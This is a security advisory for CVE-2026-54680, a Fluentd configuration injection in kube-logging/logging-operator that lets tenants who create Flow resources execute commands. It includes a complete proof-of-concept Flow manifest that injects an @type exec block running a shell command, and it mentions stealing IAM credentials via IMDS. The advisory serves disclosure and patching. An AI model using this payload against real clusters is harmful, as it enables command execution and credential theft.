critical · 9.9CVE-2026-54680Jul 29, 2026

CVE-2026-54680: kube-logging/logging-operator Fluentd Configuration Injection RCE

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A tenant who can create Flow resources in any watched namespace can inject arbitrary Fluentd configuration into the shared aggregator and execute commands inside it, because CRD values are written…

Packagegithub.com/kube-logging/logging-operator
Ecosystemgo
Affected< 0.0.0-20260608145523-cf437d7f1e05
Fixed in0.0.0-20260608145523-cf437d7f1e05
CVE-2026-54680: kube-logging/logging-operator Fluentd Configuration Injection RCE

The problem

The Fluentd config renderer in pkg/sdk/logging/model/render/fluent.go writes every CRD-supplied string directly into fluent.conf as key value with no quoting or newline validation. Because indentedf builds lines with fmt.Sprintf and then splits on \n, a multi-line CRD value becomes multiple independent lines in the generated config file.

Any Kubernetes user who can create Flow resources in a namespace watched by the operator can close the current <record> and <filter> blocks and open a new <match **> block. Pointing that block at Fluentd's built-in @type exec plugin gives the attacker arbitrary command execution inside the Fluentd aggregator pod.

In cloud environments such as AWS EKS, this is enough to reach the node IMDS and steal IAM credentials.

Proof of concept

A working proof-of-concept for CVE-2026-54680 in github.com/kube-logging/logging-operator, with the exact payload below.

yaml
# output.yaml
apiVersion: logging.banzaicloud.io/v1beta1
kind: Output
metadata:
  name: sink
  namespace: tenant-a
spec:
  nullout: {}
---
# flow.yaml
apiVersion: logging.banzaicloud.io/v1beta1
kind: Flow
metadata:
  name: exfil
  namespace: tenant-a
spec:
  match:
    - select: {}
  filters:
    - record_transformer:
        records:
          - x: |-
              y
              </record>
              </filter>
              <match **>
                @type exec
                command /bin/sh -c "id > /tmp/pwned"
                <format>
                  @type json
                </format>
                <buffer>
                  flush_interval 1s
                </buffer>
              </match>
              <filter dummy.**>
                @type record_transformer
                <record>
                  absorbed y
  localOutputRefs:
    - sink

The record_transformer filter passes its Records map directly into Params without any validation or escaping. The renderer then formats each entry as a plain key value line and splits on newlines, so the injected </record> and </filter> tokens are treated as real config directives, closing the legitimate block early and opening an attacker-controlled <match **> block.

The dry-run config check (fluentd --dry-run) passes because the injected config is syntactically valid Fluentd. The patch (commit cf437d7f) now wraps parameter values that contain newlines in double-quoted strings with escape sequences, and rejects newlines in structural fields such as @type, @id, directive names, and tag patterns at render time, so the injection characters can never produce new config lines.

The fix

Upgrade to logging-operator 6.6.0 (or the Go module pseudo-version 0.0.0-20260608145523-cf437d7f1e05). The fix is in commit cf437d7f1e056c78740bf5716ac8bdebcf002425. If you cannot upgrade immediately, restrict RBAC so only fully-trusted users can create or modify Flow and Output resources in any namespace watched by the operator.

Reporter not attributed.

References: [1][2][3][4]

Related research